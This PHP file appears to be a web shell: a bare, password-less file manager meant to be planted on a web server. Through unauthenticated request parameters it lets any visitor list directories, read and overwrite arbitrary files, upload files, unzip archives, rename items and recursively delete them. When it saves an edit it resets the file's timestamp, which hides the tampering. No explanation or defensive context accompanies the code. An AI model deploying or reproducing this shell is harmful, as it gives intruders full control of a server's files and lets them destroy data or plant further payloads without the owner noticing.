<?php if(!$_GET['dir']){ $dir='./'; }Else{ $dir=''.$_GET['dir'].'/'; } echo" <script> var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; var a_ = '" . htmlspecialchars(@$_POST['a']) ."' var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function sa() { for(i=0;i<document.files.elements.length;i++) if(document.files.elements[i].type == 'checkbox') document.files.elements[i].checked = document.files.elements[0].checked; } </script><form method=post name=mf style='display:none;'> <input type=hidden name=a> <input type=hidden name=c> <input type=hidden name=p1> <input type=hidden name=p2> <input type=hidden name=p3> <input type=hidden name=charset> </form><center>"; $type=$_GET['type']; switch($type){ case'': ?> <table border='1' width='1000'><form name="files" method="post"> <tr><td><input type="checkbox" onclick="sa()" class="chkbx"></td><td align="center">Name</td><td align="center">Modify</td><td align="center">Size</td><td>Action</td></tr> <? foreach (scandir($dir) as $item) { if ($item == '.' ) continue; if(is_file($_GET['dir'].$item)) { $ac='<a href="?dir='.$_GET['dir'].'&type=rename&old='.$item.'">R</a><a href="?type=edit&file='.$_GET['dir'].$item.'">E</a>'; }else{ $ac='<a href="?dir='.$_GET['dir'].'&type=rename&old='.$item.'">R</a>'; } echo '<tr><td width="20"><input type="checkbox" name="f[]" value="'.$item.'" class="chkbx"></td><td align="left">'; if(is_dir($_GET['dir'].$item)){ echo'<a href="?dir='.$_GET['dir'].$item.'/">'.$item.'</a>'; }else{ echo'<a href="?type=read&file='.$_GET['dir'].$item.'">'.$item.'</a>'; } echo'</td><td align="center">'.date ("F d Y H:i:s.", filectime($dir."/".$item)).'</td><td align="center">'.filesize($dir.$item).'</td> <td>'.$ac.'</tr>'; } if($_POST['upload']){ if(isset($_FILES['ufile'])){ if(!@move_uploaded_file($_FILES['ufile']['tmp_name'], $_GET['dir'].$_FILES['ufile']['name'])){ $uerror='cant upload'; } }} if($_POST['SFo'] && !empty($_POST['NFo'])){ if(!mkdir($_GET['dir'].$_POST['NFo'])){ $oerror='cant creat'; } } if($_POST['SFi'] && !empty($_POST['NFi'])){ $my_file = $_GET['dir'].$_POST['NFi']; $handle = fopen($my_file, 'w'); if(!$handle){ $ierror='cant creat'; } } if($_POST['option']){ echo $_POST['option']; if($_POST['option']=='unzip'){ $files=$_POST['f']; foreach($files as $ziped){ $zip = new ZipArchive; $res = $zip->open($_GET['dir'].$ziped); if ($res === TRUE) { // extract it to the path we determined above $zip->extractTo($_GET['dir']); $zip->close(); }else{ echo'error'; } } } if($_POST['option']=='delete'){ function rrmdir($dir) { if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != ".." && $object != "s") { if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object); } } reset($objects); rmdir($dir); }else{ unlink ($dir); } } $del=$_POST['f']; foreach($del as $file){ if(!@rrmdir($_GET['dir'].$file)){$derror='cant delete'; } } } } ?><tr><td colspan="5"><select name="option" style="width:150;"><option value='select'>Select</option><option value='delete'>Delete</option><? if(class_exists('ZipArchive')) echo"<option value='unzip'>UnZip</option>"; ?></select><input type="submit" value=">>" ></td></tr> </form> <tr><td colspan="2">Creat Folder</td><td colspan="3">Creat File</td></tr> <tr><td colspan="2"><form method="post"><input type="text" name="NFo" style="width:250;" ><input type="submit" name="SFo" value=">>"></form><? if(!empty($oerror)){ echo '<br>'.$oerror.''; } ?></td><td colspan="3"><form method="post"><input type="text" name="NFi" style="width:250;" ><input type="submit" name="SFi" value=">>" ></form><? if(!empty($ierror)){ echo '<br>'.$ierror.''; } ?></td></tr><tr><td colspan="5">Upload file</td></tr> <tr><td colspan="5"><form method="post" enctype="multipart/form-data"><input type="file" name="ufile"><input type="submit" name="upload" value=">>"></form><? if(!empty($uerror)){ echo '<br>'.$ierror.''; }?></td></tr> </table> <? break; case'delete': ## rrmdir($dir); break; case'rename': $file=$_GET['old']; echo'<table border="1" width="500"><form method="post"> <tr align="center"><td>New Name</td><td><input type="text" name="new"></td></tr> <tr align="center"><td colspan="2"><input type="submit" value="rename"></td></tr> </form></table>'; if($_POST['new']){ if($_GET['old'] && $_POST['new']){ if(is_file($_GET['old']) or is_dir($_GET['old'])){ if(rename($_GET['dir'].$_GET['old'],$_GET['dir'].$_POST['new'])){ echo' done '; }else{ echo'couldn\'t rename file '; } }else{ echo ' error file'; } } } break; case'edit'; $file=$_GET['file']; echo'<table border="1" width="1000"><tr><td>'; if( !is_writable($file)) { echo 'File isn\'t writeable'; break; } if( !empty($_POST['p3']) ) { $time = @filemtime($file); $_POST['p3'] = substr($_POST['p3'],1); $fp = @fopen($file,"w"); if($fp) { @fwrite($fp,$_POST['p3']); @fclose($fp); echo 'Saved!<br><script>p3_="";</script>'; @touch($file,$time,$time); } } echo '<form onsubmit="g(null,null,\'' . urlencode($file) . '\',null,\'1\'+this.text.value);return false;"><textarea name="text" style="width:1000px; height:600px;" class="bigarea">'; $fp = @fopen($file, 'r'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo '</textarea><input type=submit value=">>"></form></td></tr></table>'; break; case'read': $file=$_GET['file']; echo'<table border="1" width="1000"><tr><td> <textarea name="text" disabled style="width:1000px; height:600px;">'; $fp = @fopen($file, 'r'); if($fp) { while( !@feof($fp) ) echo htmlspecialchars(@fread($fp, 1024)); @fclose($fp); } echo '</textarea></td></tr></table>'; break; } ?>